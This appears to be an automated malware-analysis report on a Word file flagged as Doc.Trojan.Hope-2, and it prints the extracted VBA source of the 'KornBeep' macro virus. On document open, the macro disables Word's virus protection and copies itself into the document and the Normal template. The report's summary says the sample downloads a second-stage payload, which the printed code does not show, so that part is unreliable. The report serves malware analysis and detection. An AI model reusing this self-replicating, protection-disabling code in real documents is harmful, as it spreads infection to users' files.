MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a VBA macro that is triggered by the Document_Open event. This macro is designed to bypass virus protection and execute code, as indicated by the ClamAV detection 'Doc.Trojan.Hope-2'. The script's comment suggests it is a downloader or dropper, likely intended to fetch and execute a second-stage payload.
Heuristics 3
-
ClamAV: Doc.Trojan.Hope-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Hope-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1680 bytes |
SHA-256: 2b0079beff69c386917c429aa9c75a927a48b5501e2933e9bdd02a98f330447a |
|||
|
Detection
ClamAV:
Doc.Trojan.Hope-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open(): If Options.VirusProtection <> 0 Then Options.VirusProtection = 0 Else If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.countoflines = 0 Then ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString MacroContainer.VBProject.VBComponents.Item(1).CodeModule.lines(1, 2) Else If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.countoflines = 0 Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString MacroContainer.VBProject.VBComponents.Item(1).CodeModule.lines(1, 2) Else If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.countoflines <> 2 Then ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.deletelines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.countoflines Else If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.countoflines <> 2 Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.countoflines Else Beep End Sub 'w97m/KornBeep v2.0d fri aug 13 99 [SWL/LZ0/DVC] special thanks 2 slage hammer and jacktwoflower for this contest; helo 2 skammy my partner but got "shut down", the might 4 including me in dvc, iman urtcele 4 helping me with v1.7-2.0, virus buster, lys kovick, mkvg, virtual life, trevelyan, Raid, Knowdeth; members of skamwerks, linezer0, and dvc; respects 2 the codebreakers, avm, tnn, slam, 29a... =) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.